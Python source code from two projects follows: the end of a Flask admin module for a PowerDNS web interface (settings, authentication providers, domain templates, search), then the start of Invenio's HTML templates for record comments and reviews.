'fullscreen_layout', 'record_helper', 'login_ldap_first', 'default_record_table_size', 'default_domain_table_size', 'auto_ptr', 'record_quick_edit', 'pretty_ipv6_ptr', 'dnssec_admins_only', 'allow_user_create_domain', 'allow_user_remove_domain', 'allow_user_view_history', 'bg_domain_updates', 'site_name', 'session_timeout', 'warn_session_timeout', 'ttl_options', 'pdns_api_timeout', 'verify_ssl_connections', 'verify_user_email', 'delete_sso_accounts', 'otp_field_enabled', 'custom_css', 'enable_api_rr_history', 'max_history_records' ] return render_template('admin_setting_basic.html', settings=settings) @admin_bp.route('/setting/basic/<path:setting>/edit', methods=['POST']) @login_required @operator_role_required def setting_basic_edit(setting): jdata = request.json new_value = jdata['value'] result = Setting().set(setting, new_value) if (result): return make_response( jsonify({ 'status': 'ok', 'msg': 'Toggled setting successfully.' }), 200) else: return make_response( jsonify({ 'status': 'error', 'msg': 'Unable to toggle setting.' }), 500) @admin_bp.route('/setting/basic/<path:setting>/toggle', methods=['POST']) @login_required @operator_role_required def setting_basic_toggle(setting): result = Setting().toggle(setting) if (result): return make_response( jsonify({ 'status': 'ok', 'msg': 'Toggled setting successfully.' }), 200) else: return make_response( jsonify({ 'status': 'error', 'msg': 'Unable to toggle setting.' }), 500) @admin_bp.route('/setting/pdns', methods=['GET', 'POST']) @login_required @admin_role_required def setting_pdns(): if request.method == 'GET': pdns_api_url = Setting().get('pdns_api_url') pdns_api_key = Setting().get('pdns_api_key') pdns_version = Setting().get('pdns_version') return render_template('admin_setting_pdns.html', pdns_api_url=pdns_api_url, pdns_api_key=pdns_api_key, pdns_version=pdns_version) elif request.method == 'POST': pdns_api_url = request.form.get('pdns_api_url') pdns_api_key = request.form.get('pdns_api_key') pdns_version = request.form.get('pdns_version') Setting().set('pdns_api_url', pdns_api_url) Setting().set('pdns_api_key', pdns_api_key) Setting().set('pdns_version', pdns_version) return render_template('admin_setting_pdns.html', pdns_api_url=pdns_api_url, pdns_api_key=pdns_api_key, pdns_version=pdns_version) @admin_bp.route('/setting/dns-records', methods=['GET', 'POST']) @login_required @operator_role_required def setting_records(): if request.method == 'GET': _fr = Setting().get('forward_records_allow_edit') _rr = Setting().get('reverse_records_allow_edit') f_records = literal_eval(_fr) if isinstance(_fr, str) else _fr r_records = literal_eval(_rr) if isinstance(_rr, str) else _rr return render_template('admin_setting_records.html', f_records=f_records, r_records=r_records) elif request.method == 'POST': fr = {} rr = {} records = Setting().defaults['forward_records_allow_edit'] for r in records: fr[r] = True if request.form.get('fr_{0}'.format( r.lower())) else False rr[r] = True if request.form.get('rr_{0}'.format( r.lower())) else False Setting().set('forward_records_allow_edit', str(fr)) Setting().set('reverse_records_allow_edit', str(rr)) return redirect(url_for('admin.setting_records')) def has_an_auth_method(local_db_enabled=None, ldap_enabled=None, google_oauth_enabled=None, github_oauth_enabled=None, oidc_oauth_enabled=None, azure_oauth_enabled=None): if local_db_enabled is None: local_db_enabled = Setting().get('local_db_enabled') if ldap_enabled is None: ldap_enabled = Setting().get('ldap_enabled') if google_oauth_enabled is None: google_oauth_enabled = Setting().get('google_oauth_enabled') if github_oauth_enabled is None: github_oauth_enabled = Setting().get('github_oauth_enabled') if oidc_oauth_enabled is None: oidc_oauth_enabled = Setting().get('oidc_oauth_enabled') if azure_oauth_enabled is None: azure_oauth_enabled = Setting().get('azure_oauth_enabled') return local_db_enabled or ldap_enabled or google_oauth_enabled or github_oauth_enabled or oidc_oauth_enabled or azure_oauth_enabled @admin_bp.route('/setting/authentication', methods=['GET', 'POST']) @login_required @admin_role_required def setting_authentication(): if request.method == 'GET': return render_template('admin_setting_authentication.html') elif request.method == 'POST': conf_type = request.form.get('config_tab') result = None if conf_type == 'general': local_db_enabled = True if request.form.get( 'local_db_enabled') else False signup_enabled = True if request.form.get( 'signup_enabled', ) else False if not has_an_auth_method(local_db_enabled=local_db_enabled): result = { 'status': False, 'msg': 'Must have at least one authentication method enabled.' } else: Setting().set('local_db_enabled', local_db_enabled) Setting().set('signup_enabled', signup_enabled) result = {'status': True, 'msg': 'Saved successfully'} elif conf_type == 'ldap': ldap_enabled = True if request.form.get('ldap_enabled') else False if not has_an_auth_method(ldap_enabled=ldap_enabled): result = { 'status': False, 'msg': 'Must have at least one authentication method enabled.' } else: Setting().set('ldap_enabled', ldap_enabled) Setting().set('ldap_type', request.form.get('ldap_type')) Setting().set('ldap_uri', request.form.get('ldap_uri')) Setting().set('ldap_base_dn', request.form.get('ldap_base_dn')) Setting().set('ldap_admin_username', request.form.get('ldap_admin_username')) Setting().set('ldap_admin_password', request.form.get('ldap_admin_password')) Setting().set('ldap_filter_basic', request.form.get('ldap_filter_basic')) Setting().set('ldap_filter_group', request.form.get('ldap_filter_group')) Setting().set('ldap_filter_username', request.form.get('ldap_filter_username')) Setting().set('ldap_filter_groupname', request.form.get('ldap_filter_groupname')) Setting().set( 'ldap_sg_enabled', True if request.form.get('ldap_sg_enabled') == 'ON' else False) Setting().set('ldap_admin_group', request.form.get('ldap_admin_group')) Setting().set('ldap_operator_group', request.form.get('ldap_operator_group')) Setting().set('ldap_user_group', request.form.get('ldap_user_group')) Setting().set('ldap_domain', request.form.get('ldap_domain')) Setting().set( 'autoprovisioning', True if request.form.get('autoprovisioning') == 'ON' else False) Setting().set('autoprovisioning_attribute', request.form.get('autoprovisioning_attribute')) if request.form.get('autoprovisioning')=='ON': if validateURN(request.form.get('urn_value')): Setting().set('urn_value', request.form.get('urn_value')) else: return render_template('admin_setting_authentication.html', error="Invalid urn") else: Setting().set('urn_value', request.form.get('urn_value')) Setting().set('purge', True if request.form.get('purge') == 'ON' else False) result = {'status': True, 'msg': 'Saved successfully'} elif conf_type == 'google': google_oauth_enabled = True if request.form.get( 'google_oauth_enabled') else False if not has_an_auth_method(google_oauth_enabled=google_oauth_enabled): result = { 'status': False, 'msg': 'Must have at least one authentication method enabled.' } else: Setting().set('google_oauth_enabled', google_oauth_enabled) Setting().set('google_oauth_client_id', request.form.get('google_oauth_client_id')) Setting().set('google_oauth_client_secret', request.form.get('google_oauth_client_secret')) Setting().set('google_token_url', request.form.get('google_token_url')) Setting().set('google_oauth_scope', request.form.get('google_oauth_scope')) Setting().set('google_authorize_url', request.form.get('google_authorize_url')) Setting().set('google_base_url', request.form.get('google_base_url')) result = { 'status': True, 'msg': 'Saved successfully. Please reload PDA to take effect.' } elif conf_type == 'github': github_oauth_enabled = True if request.form.get( 'github_oauth_enabled') else False if not has_an_auth_method(github_oauth_enabled=github_oauth_enabled): result = { 'status': False, 'msg': 'Must have at least one authentication method enabled.' } else: Setting().set('github_oauth_enabled', github_oauth_enabled) Setting().set('github_oauth_key', request.form.get('github_oauth_key')) Setting().set('github_oauth_secret', request.form.get('github_oauth_secret')) Setting().set('github_oauth_scope', request.form.get('github_oauth_scope')) Setting().set('github_oauth_api_url', request.form.get('github_oauth_api_url')) Setting().set('github_oauth_token_url', request.form.get('github_oauth_token_url')) Setting().set('github_oauth_authorize_url', request.form.get('github_oauth_authorize_url')) result = { 'status': True, 'msg': 'Saved successfully. Please reload PDA to take effect.' } elif conf_type == 'azure': azure_oauth_enabled = True if request.form.get( 'azure_oauth_enabled') else False if not has_an_auth_method(azure_oauth_enabled=azure_oauth_enabled): result = { 'status': False, 'msg': 'Must have at least one authentication method enabled.' } else: Setting().set('azure_oauth_enabled', azure_oauth_enabled) Setting().set('azure_oauth_key', request.form.get('azure_oauth_key')) Setting().set('azure_oauth_secret', request.form.get('azure_oauth_secret')) Setting().set('azure_oauth_scope', request.form.get('azure_oauth_scope')) Setting().set('azure_oauth_api_url', request.form.get('azure_oauth_api_url')) Setting().set('azure_oauth_token_url', request.form.get('azure_oauth_token_url')) Setting().set('azure_oauth_authorize_url', request.form.get('azure_oauth_authorize_url')) Setting().set( 'azure_sg_enabled', True if request.form.get('azure_sg_enabled') == 'ON' else False) Setting().set('azure_admin_group', request.form.get('azure_admin_group')) Setting().set('azure_operator_group', request.form.get('azure_operator_group')) Setting().set('azure_user_group', request.form.get('azure_user_group')) Setting().set( 'azure_group_accounts_enabled', True if request.form.get('azure_group_accounts_enabled') == 'ON' else False) Setting().set('azure_group_accounts_name', request.form.get('azure_group_accounts_name')) Setting().set('azure_group_accounts_name_re', request.form.get('azure_group_accounts_name_re')) Setting().set('azure_group_accounts_description', request.form.get('azure_group_accounts_description')) Setting().set('azure_group_accounts_description_re', request.form.get('azure_group_accounts_description_re')) result = { 'status': True, 'msg': 'Saved successfully. Please reload PDA to take effect.' } elif conf_type == 'oidc': oidc_oauth_enabled = True if request.form.get( 'oidc_oauth_enabled') else False if not has_an_auth_method(oidc_oauth_enabled=oidc_oauth_enabled): result = { 'status': False, 'msg': 'Must have at least one authentication method enabled.' } else: Setting().set( 'oidc_oauth_enabled', True if request.form.get('oidc_oauth_enabled') else False) Setting().set('oidc_oauth_key', request.form.get('oidc_oauth_key')) Setting().set('oidc_oauth_secret', request.form.get('oidc_oauth_secret')) Setting().set('oidc_oauth_scope', request.form.get('oidc_oauth_scope')) Setting().set('oidc_oauth_api_url', request.form.get('oidc_oauth_api_url')) Setting().set('oidc_oauth_token_url', request.form.get('oidc_oauth_token_url')) Setting().set('oidc_oauth_authorize_url', request.form.get('oidc_oauth_authorize_url')) Setting().set('oidc_oauth_logout_url', request.form.get('oidc_oauth_logout_url')) Setting().set('oidc_oauth_username', request.form.get('oidc_oauth_username')) Setting().set('oidc_oauth_firstname', request.form.get('oidc_oauth_firstname')) Setting().set('oidc_oauth_last_name', request.form.get('oidc_oauth_last_name')) Setting().set('oidc_oauth_email', request.form.get('oidc_oauth_email')) Setting().set('oidc_oauth_account_name_property', request.form.get('oidc_oauth_account_name_property')) Setting().set('oidc_oauth_account_description_property', request.form.get('oidc_oauth_account_description_property')) result = { 'status': True, 'msg': 'Saved successfully. Please reload PDA to take effect.' } else: return abort(400) return render_template('admin_setting_authentication.html', result=result) @admin_bp.route('/templates', methods=['GET', 'POST']) @admin_bp.route('/templates/list', methods=['GET', 'POST']) @login_required @operator_role_required def templates(): templates = DomainTemplate.query.all() return render_template('template.html', templates=templates) @admin_bp.route('/template/create', methods=['GET', 'POST']) @login_required @operator_role_required def create_template(): if request.method == 'GET': return render_template('template_add.html') if request.method == 'POST': try: name = request.form.getlist('name')[0] description = request.form.getlist('description')[0] if ' ' in name or not name or not type: flash("Please correct your input", 'error') return redirect(url_for('admin.create_template')) if DomainTemplate.query.filter( DomainTemplate.name == name).first(): flash( "A template with the name {0} already exists!".format( name), 'error') return redirect(url_for('admin.create_template')) t = DomainTemplate(name=name, description=description) result = t.create() if result['status'] == 'ok': history = History(msg='Add domain template {0}'.format(name), detail=str({ 'name': name, 'description': description }), created_by=current_user.username) history.add() return redirect(url_for('admin.templates')) else: flash(result['msg'], 'error') return redirect(url_for('admin.create_template')) except Exception as e: current_app.logger.error( 'Cannot create domain template. Error: {0}'.format(e)) current_app.logger.debug(traceback.format_exc()) abort(500) @admin_bp.route('/template/create-from-zone', methods=['POST']) @login_required @operator_role_required def create_template_from_zone(): try: jdata = request.json name = jdata['name'] description = jdata['description'] domain_name = jdata['domain'] if ' ' in name or not name or not type: return make_response( jsonify({ 'status': 'error', 'msg': 'Please correct template name' }), 400) if DomainTemplate.query.filter(DomainTemplate.name == name).first(): return make_response( jsonify({ 'status': 'error', 'msg': 'A template with the name {0} already exists!'.format(name) }), 409) t = DomainTemplate(name=name, description=description) result = t.create() if result['status'] == 'ok': history = History(msg='Add domain template {0}'.format(name), detail=str({ 'name': name, 'description': description }), created_by=current_user.username) history.add() # After creating the domain in Domain Template in the, # local DB. We add records into it Record Template. records = [] domain = Domain.query.filter(Domain.name == domain_name).first() if domain: # Query zone's rrsets from PowerDNS API rrsets = Record().get_rrsets(domain.name) if rrsets: for r in rrsets: name = '@' if r['name'] == domain_name + '.' else r[ 'name'].replace('.{}.'.format(domain_name), '') for record in r['records']: t_record = DomainTemplateRecord( name=name, type=r['type'], status=False if record['disabled'] else True, ttl=r['ttl'], data=record['content']) records.append(t_record) result = t.replace_records(records) if result['status'] == 'ok': return make_response( jsonify({ 'status': 'ok', 'msg': result['msg'] }), 200) else: # Revert the domain template (remove it) # ff we cannot add records. t.delete_template() return make_response( jsonify({ 'status': 'error', 'msg': result['msg'] }), 500) else: return make_response( jsonify({ 'status': 'error', 'msg': result['msg'] }), 500) except Exception as e: current_app.logger.error( 'Cannot create template from zone. Error: {0}'.format(e)) current_app.logger.debug(traceback.format_exc()) return make_response( jsonify({ 'status': 'error', 'msg': 'Error when applying new changes' }), 500) @admin_bp.route('/template/<path:template>/edit', methods=['GET']) @login_required @operator_role_required def edit_template(template): try: t = DomainTemplate.query.filter( DomainTemplate.name == template).first() records_allow_to_edit = Setting().get_records_allow_to_edit() quick_edit = Setting().get('record_quick_edit') ttl_options = Setting().get_ttl_options() if t is not None: records = [] for jr in t.records: if jr.type in records_allow_to_edit: record = DomainTemplateRecord( name=jr.name, type=jr.type, status='Active' if jr.status else 'Disabled', ttl=jr.ttl, data=jr.data, comment=jr.comment if jr.comment else '') records.append(record) return render_template('template_edit.html', template=t.name, records=records, editable_records=records_allow_to_edit, quick_edit=quick_edit, ttl_options=ttl_options) except Exception as e: current_app.logger.error( 'Cannot open domain template page. DETAIL: {0}'.format(e)) current_app.logger.debug(traceback.format_exc()) abort(500) return redirect(url_for('admin.templates')) @admin_bp.route('/template/<path:template>/apply', methods=['POST'], strict_slashes=False) @login_required def apply_records(template): try: jdata = request.json records = [] for j in jdata['records']: name = '@' if j['record_name'] in ['@', ''] else j['record_name'] type = j['record_type'] data = j['record_data'] comment = j['record_comment'] status = 0 if j['record_status'] == 'Disabled' else 1 ttl = int(j['record_ttl']) if j['record_ttl'] else 3600 dtr = DomainTemplateRecord(name=name, type=type, data=data, comment=comment, status=status, ttl=ttl) records.append(dtr) t = DomainTemplate.query.filter( DomainTemplate.name == template).first() result = t.replace_records(records) if result['status'] == 'ok': jdata.pop('_csrf_token', None) # don't store csrf token in the history. history = History( msg='Apply domain template record changes to domain template {0}' .format(template), detail=str(json.dumps(jdata)), created_by=current_user.username) history.add() return make_response(jsonify(result), 200) else: return make_response(jsonify(result), 400) except Exception as e: current_app.logger.error( 'Cannot apply record changes to the template. Error: {0}'.format( e)) current_app.logger.debug(traceback.format_exc()) return make_response( jsonify({ 'status': 'error', 'msg': 'Error when applying new changes' }), 500) @admin_bp.route('/template/<path:template>/delete', methods=['POST']) @login_required @operator_role_required def delete_template(template): try: t = DomainTemplate.query.filter( DomainTemplate.name == template).first() if t is not None: result = t.delete_template() if result['status'] == 'ok': history = History( msg='Deleted domain template {0}'.format(template), detail=str({'name': template}), created_by=current_user.username) history.add() return redirect(url_for('admin.templates')) else: flash(result['msg'], 'error') return redirect(url_for('admin.templates')) except Exception as e: current_app.logger.error( 'Cannot delete template. Error: {0}'.format(e)) current_app.logger.debug(traceback.format_exc()) abort(500) return redirect(url_for('admin.templates')) @admin_bp.route('/global-search', methods=['GET']) @login_required @operator_role_required def global_search(): if request.method == 'GET': domains = [] records = [] comments = [] query = request.args.get('q') if query: server = Server(server_id='localhost') results = server.global_search(object_type='all', query=query) # Format the search result for result in results: if result['object_type'] == 'zone': # Remove the dot at the end of string result['name'] = result['name'][:-1] domains.append(result) elif result['object_type'] == 'record': # Remove the dot at the end of string result['name'] = result['name'][:-1] result['zone_id'] = result['zone_id'][:-1] records.append(result) elif result['object_type'] == 'comment': # Get the actual record name, exclude the domain part result['name'] = result['name'].replace(result['zone_id'], '') if result['name']: result['name'] = result['name'][:-1] else: result['name'] = '@' # Remove the dot at the end of string result['zone_id'] = result['zone_id'][:-1] comments.append(result) else: pass return render_template('admin_global_search.html', domains=domains, records=records, comments=comments) def validateURN(value): NID_PATTERN = re.compile(r'^[0-9a-z][0-9a-z-]{1,31}$', flags=re.IGNORECASE) NSS_PCHAR = '[a-z0-9-._~]|%[a-f0-9]{2}|[!$&\'()*+,;=]|:|@' NSS_PATTERN = re.compile(fr'^({NSS_PCHAR})({NSS_PCHAR}|/|\?)*$', re.IGNORECASE) prefix=value.split(':') if (len(prefix)<3): current_app.logger.warning( "Too small urn prefix" ) return False urn=prefix[0] nid=prefix[1] nss=value.replace(urn+":"+nid+":", "") if not urn.lower()=="urn": current_app.logger.warning( urn + ' contains invalid characters ' ) return False if not re.match(NID_PATTERN, nid.lower()): current_app.logger.warning( nid + ' contains invalid characters ' ) return False if not re.match(NSS_PATTERN, nss): current_app.logger.warning( nss + ' contains invalid characters ' ) return False return True
codeparrot/github-code-clean
# -*- coding: utf-8 -*- ## Comments and reviews for records. ## This file is part of Invenio. ## Copyright (C) 2005, 2006, 2007, 2008, 2009, 2010, 2011 CERN. ## ## Invenio is free software; you can redistribute it and/or ## modify it under the terms of the GNU General Public License as ## published by the Free Software Foundation; either version 2 of the ## License, or (at your option) any later version. ## ## Invenio is distributed in the hope that it will be useful, but ## WITHOUT ANY WARRANTY; without even the implied warranty of ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## General Public License for more details. ## ## You should have received a copy of the GNU General Public License ## along with Invenio; if not, write to the Free Software Foundation, Inc., ## 59 Temple Place, Suite 330, Boston, MA 02111-1307, USA. """HTML Templates for commenting features """ __revision__ = "$Id$" import cgi # Invenio imports from invenio.urlutils import create_html_link from invenio.webuser import get_user_info, collect_user_info, isGuestUser, get_email from invenio.dateutils import convert_datetext_to_dategui from invenio.webmessage_mailutils import email_quoted_txt2html from invenio.webcomment_config import \ CFG_WEBCOMMENT_MAX_ATTACHED_FILES, \ CFG_WEBCOMMENT_MAX_ATTACHMENT_SIZE from invenio.config import CFG_SITE_URL, \ CFG_SITE_SECURE_URL, \ CFG_SITE_LANG, \ CFG_SITE_NAME, \ CFG_SITE_NAME_INTL,\ CFG_SITE_SUPPORT_EMAIL,\ CFG_WEBCOMMENT_ALLOW_REVIEWS, \ CFG_WEBCOMMENT_ALLOW_COMMENTS, \ CFG_WEBCOMMENT_USE_RICH_TEXT_EDITOR, \ CFG_WEBCOMMENT_NB_REPORTS_BEFORE_SEND_EMAIL_TO_ADMIN, \ CFG_WEBCOMMENT_AUTHOR_DELETE_COMMENT_OPTION, \ CFG_CERN_SITE from invenio.htmlutils import get_html_text_editor from invenio.messages import gettext_set_language from invenio.bibformat import format_record from invenio.access_control_engine import acc_authorize_action from invenio.websearch_templates import get_fieldvalues class Template: """templating class, refer to webcomment.py for examples of call""" def tmpl_get_first_comments_without_ranking(self, recID, ln, comments, nb_comments_total, warnings): """ @param recID: record id @param ln: language @param comments: tuple as returned from webcomment.py/query_retrieve_comments_or_remarks @param nb_comments_total: total number of comments for this record @param warnings: list of warning tuples (warning_msg, arg1, arg2, ...) @return: html of comments """ # load the right message language _ = gettext_set_language(ln) # naming data fields of comments c_nickname = 0 c_user_id = 1 c_date_creation = 2 c_body = 3 c_id = 4 warnings = self.tmpl_warnings(warnings, ln) # comments comment_rows = '' max_comment_round_name = comments[-1][0] for comment_round_name, comments_list in comments: comment_rows += '<div id="cmtRound%i" class="cmtRound">' % (comment_round_name) comment_rows += _('%(x_nb)i comments for round "%(x_name)s"') % {'x_nb': len(comments_list), 'x_name': comment_round_name} + "<br/>" for comment in comments_list: if comment[c_nickname]: nickname = comment[c_nickname] display = nickname else: (uid, nickname, display) = get_user_info(comment[c_user_id]) messaging_link = self.create_messaging_link(nickname, display, ln) comment_rows += """ <tr> <td>""" report_link = '%s/record/%s/comments/report?ln=%s&amp;comid=%s' % (CFG_SITE_URL, recID, ln, comment[c_id]) reply_link = '%s/record/%s/comments/add?ln=%s&amp;comid=%s&amp;action=REPLY' % (CFG_SITE_URL, recID, ln, comment[c_id]) comment_rows += self.tmpl_get_comment_without_ranking(req=None, ln=ln, nickname=messaging_link, comment_uid=comment[c_user_id], date_creation=comment[c_date_creation], body=comment[c_body], status='', nb_reports=0, report_link=report_link, reply_link=reply_link, recID=recID) comment_rows += """ <br /> <br /> </td> </tr>""" # Close comment round comment_rows += '</div>' # write button write_button_label = _("Write a comment") write_button_link = '%s/record/%s/comments/add' % (CFG_SITE_URL, recID) write_button_form = '<input type="hidden" name="ln" value="%s"/>' % ln write_button_form = self.createhiddenform(action=write_button_link, method="get", text=write_button_form, button=write_button_label) # output if nb_comments_total > 0: out = warnings comments_label = len(comments) > 1 and _("Showing the latest %i comments:") % len(comments) \ or "" out += """ <table> <tr> <td class="blocknote">%(comment_title)s</td> </tr> </table> %(comments_label)s<br /> <table border="0" cellspacing="5" cellpadding="5" width="100%%"> %(comment_rows)s </table> %(view_all_comments_link)s <br /> <br /> %(write_button_form)s<br />""" % \ {'comment_title': _("Discuss this document"), 'comments_label': comments_label, 'nb_comments_total' : nb_comments_total, 'recID': recID, 'comment_rows': comment_rows, 'tab': '&nbsp;'*4, 'siteurl': CFG_SITE_URL, 's': nb_comments_total>1 and 's' or "", 'view_all_comments_link': nb_comments_total>0 and '''<a href="%s/record/%s/comments/display">View all %s comments</a>''' \ % (CFG_SITE_URL, recID, nb_comments_total) or "", 'write_button_form': write_button_form, 'nb_comments': len(comments) } else: out = """ <!-- comments title table --> <table> <tr> <td class="blocknote">%(discuss_label)s:</td> </tr> </table> %(detailed_info)s <br /> %(form)s <br />""" % {'form': write_button_form, 'discuss_label': _("Discuss this document"), 'detailed_info': _("Start a discussion about any aspect of this document.") } return out def tmpl_record_not_found(self, status='missing', recID="", ln=CFG_SITE_LANG): """ Displays a page when bad or missing record ID was given. @param status: 'missing' : no recID was given 'inexistant': recID doesn't have an entry in the database 'nan' : recID is not a number 'invalid' : recID is an error code, i.e. in the interval [-99,-1] @param return: body of the page """ _ = gettext_set_language(ln) if status == 'inexistant': body = _("Sorry, the record %s does not seem to exist.") % (recID,) elif status in ('nan', 'invalid'): body = _("Sorry, %s is not a valid ID value.") % (recID,) else: body = _("Sorry, no record ID was provided.") body += "<br /><br />" link = "<a href=\"%s?ln=%s\">%s</a>." % (CFG_SITE_URL, ln, CFG_SITE_NAME_INTL.get(ln, CFG_SITE_NAME)) body += _("You may want to start browsing from %s") % link return body def tmpl_get_first_comments_with_ranking(self, recID, ln, comments=None, nb_comments_total=None, avg_score=None, warnings=[]): """ @param recID: record id @param ln: language @param comments: tuple as returned from webcomment.py/query_retrieve_comments_or_remarks @param nb_comments_total: total number of comments for this record @param avg_score: average score of all reviews @param warnings: list of warning tuples (warning_msg, arg1, arg2, ...) @return: html of comments """ # load the right message language _ = gettext_set_language(ln) # naming data fields of comments c_nickname = 0 c_user_id = 1 c_date_creation = 2 c_body = 3 c_nb_votes_yes = 4 c_nb_votes_total = 5 c_star_score = 6 c_title = 7 c_id = 8 warnings = self.tmpl_warnings(warnings, ln) #stars if avg_score > 0: avg_score_img = 'stars-' + str(avg_score).split('.')[0] + '-' + str(avg_score).split('.')[1] + '.png' else: avg_score_img = "stars-0-0.png" # voting links useful_dict = { 'siteurl' : CFG_SITE_URL, 'recID' : recID, 'ln' : ln, 'yes_img' : 'smchk_gr.gif', #'yes.gif', 'no_img' : 'iconcross.gif' #'no.gif' } link = '<a href="%(siteurl)s/record/%(recID)s/reviews/vote?ln=%(ln)s&amp;comid=%%(comid)s' % useful_dict useful_yes = link + '&amp;com_value=1">' + _("Yes") + '</a>' useful_no = link + '&amp;com_value=-1">' + _("No") + '</a>' #comment row comment_rows = ' ' max_comment_round_name = comments[-1][0] for comment_round_name, comments_list in comments: comment_rows += '<div id="cmtRound%i" class="cmtRound">' % (comment_round_name) comment_rows += _('%(x_nb)i comments for round "%(x_name)s"') % {'x_nb': len(comments_list), 'x_name': comment_round_name} + "<br/>" for comment in comments_list: if comment[c_nickname]: nickname = comment[c_nickname] display = nickname else: (uid, nickname, display) = get_user_info(comment[c_user_id]) messaging_link = self.create_messaging_link(nickname, display, ln) comment_rows += ''' <tr> <td>''' report_link = '%s/record/%s/reviews/report?ln=%s&amp;comid=%s' % (CFG_SITE_URL, recID, ln, comment[c_id]) comment_rows += self.tmpl_get_comment_with_ranking(None, ln=ln, nickname=messaging_link, comment_uid=comment[c_user_id], date_creation=comment[c_date_creation], body=comment[c_body], status='', nb_reports=0, nb_votes_total=comment[c_nb_votes_total], nb_votes_yes=comment[c_nb_votes_yes], star_score=comment[c_star_score], title=comment[c_title], report_link=report_link, recID=recID) comment_rows += ''' %s %s / %s<br />''' % (_("Was this review helpful?"), useful_yes % {'comid':comment[c_id]}, useful_no % {'comid':comment[c_id]}) comment_rows += ''' <br /> </td> </tr>''' # Close comment round comment_rows += '</div>' # write button write_button_link = '''%s/record/%s/reviews/add''' % (CFG_SITE_URL, recID) write_button_form = ' <input type="hidden" name="ln" value="%s"/>' % ln write_button_form = self.createhiddenform(action=write_button_link, method="get", text=write_button_form, button=_("Write a review")) if nb_comments_total > 0: avg_score_img = str(avg_score_img) avg_score = str(avg_score) nb_comments_total = str(nb_comments_total) score = '<b>' score += _("Average review score: %(x_nb_score)s based on %(x_nb_reviews)s reviews") % \ {'x_nb_score': '</b><img src="' + CFG_SITE_URL + '/img/' + avg_score_img + '" alt="' + avg_score + '" />', 'x_nb_reviews': nb_comments_total} useful_label = _("Readers found the following %s reviews to be most helpful.") useful_label %= len(comments) > 1 and len(comments) or "" view_all_comments_link ='<a href="%s/record/%s/reviews/display?ln=%s&amp;do=hh">' % (CFG_SITE_URL, recID, ln) view_all_comments_link += _("View all %s reviews") % nb_comments_total view_all_comments_link += '</a><br />' out = warnings + """ <!-- review title table --> <table> <tr> <td class="blocknote">%(comment_title)s:</td> </tr> </table> %(score_label)s<br /> %(useful_label)s <!-- review table --> <table style="border: 0px; border-collapse: separate; border-spacing: 5px; padding: 5px; width: 100%%"> %(comment_rows)s </table> %(view_all_comments_link)s %(write_button_form)s<br /> """ % \ { 'comment_title' : _("Rate this document"), 'score_label' : score, 'useful_label' : useful_label, 'recID' : recID, 'view_all_comments' : _("View all %s reviews") % (nb_comments_total,), 'write_comment' : _("Write a review"), 'comment_rows' : comment_rows, 'tab' : '&nbsp;'*4, 'siteurl' : CFG_SITE_URL, 'view_all_comments_link': nb_comments_total>0 and view_all_comments_link or "", 'write_button_form' : write_button_form } else: out = ''' <!-- review title table --> <table> <tr> <td class="blocknote">%s:</td> </tr> </table> %s<br /> %s <br />''' % (_("Rate this document"), _("Be the first to review this document."), write_button_form) return out def tmpl_get_comment_without_ranking(self, req, ln, nickname, comment_uid, date_creation, body, status, nb_reports, reply_link=None, report_link=None, undelete_link=None, delete_links=None, unreport_link=None, recID=-1, com_id='', attached_files=None): """ private function @param req: request object to fetch user info @param ln: language @param nickname: nickname @param date_creation: date comment was written @param body: comment body @param status: status of the comment: da: deleted by author dm: deleted by moderator ok: active @param nb_reports: number of reports the comment has @param reply_link: if want reply and report, give the http links @param report_link: if want reply and report, give the http links @param undelete_link: http link to delete the message @param delete_links: http links to delete the message @param unreport_link: http link to unreport the comment @param recID: recID where the comment is posted @param com_id: ID of the comment displayed @param attached_files: list of attached files @return: html table of comment """ from invenio.search_engine import guess_primary_collection_of_a_record # load the right message language _ = gettext_set_language(ln) date_creation = convert_datetext_to_dategui(date_creation, ln=ln) if attached_files is None: attached_files = [] out = '' final_body = email_quoted_txt2html(body) title = _('%(x_name)s wrote on %(x_date)s:') % {'x_name': nickname, 'x_date': '<i>' + date_creation + '</i>'} title += '<a name=%s></a>' % com_id links = '' moderator_links = '' if reply_link: links += '<a href="' + reply_link +'">' + _("Reply") +'</a>' if report_link and status != 'ap': links += ' | ' if report_link and status != 'ap': links += '<a href="' + report_link +'">' + _("Report abuse") + '</a>' # Check if user is a comment moderator record_primary_collection = guess_primary_collection_of_a_record(recID) user_info = collect_user_info(req) (auth_code, auth_msg) = acc_authorize_action(user_info, 'moderatecomments', collection=record_primary_collection) if status in ['dm', 'da'] and req: if not auth_code: if status == 'dm': final_body = '<div style="color:#a3a3a3;font-style:italic;">(Comment deleted by the moderator) - not visible for users<br /><br />' +\ final_body + '</div>' else: final_body = '<div style="color:#a3a3a3;font-style:italic;">(Comment deleted by the author) - not visible for users<br /><br />' +\ final_body + '</div>' links = '' moderator_links += '<a style="color:#8B0000;" href="' + undelete_link + '">' + _("Undelete comment") + '</a>' else: if status == 'dm': final_body = '<div style="color:#a3a3a3;font-style:italic;">Comment deleted by the moderator</div>' else: final_body = '<div style="color:#a3a3a3;font-style:italic;">Comment deleted by the author</div>' links = '' else: if not auth_code: moderator_links += '<a style="color:#8B0000;" href="' + delete_links['mod'] +'">' + _("Delete comment") + '</a>' elif (user_info['uid'] == comment_uid) and CFG_WEBCOMMENT_AUTHOR_DELETE_COMMENT_OPTION: moderator_links += '<a style="color:#8B0000;" href="' + delete_links['auth'] +'">' + _("Delete comment") + '</a>' if nb_reports >= CFG_WEBCOMMENT_NB_REPORTS_BEFORE_SEND_EMAIL_TO_ADMIN: if not auth_code: final_body = '<div style="color:#a3a3a3;font-style:italic;">(Comment reported. Pending approval) - not visible for users<br /><br />' + final_body + '</div>' links = '' moderator_links += ' | ' moderator_links += '<a style="color:#8B0000;" href="' + unreport_link +'">' + _("Unreport comment") + '</a>' else: final_body = '<div style="color:#a3a3a3;font-style:italic;">This comment is pending approval due to user reports</div>' links = '' if links and moderator_links: links = links + ' || ' + moderator_links elif not links: links = moderator_links attached_files_html = '' if attached_files: attached_files_html = '<div class="cmtfilesblock"><b>%s:</b><br/>' % (len(attached_files) == 1 and _("Attached file") or _("Attached files")) for (filename, filepath, fileurl) in attached_files: attached_files_html += create_html_link(urlbase=fileurl, urlargd={}, link_label=cgi.escape(filename)) + '<br />' attached_files_html += '</div>' out += """ <div style="margin-bottom:20px;background:#F9F9F9;border:1px solid #DDD">%(title)s<br /> <blockquote> %(body)s </blockquote> <br /> %(attached_files_html)s <div style="float:right">%(links)s</div> </div>""" % \ 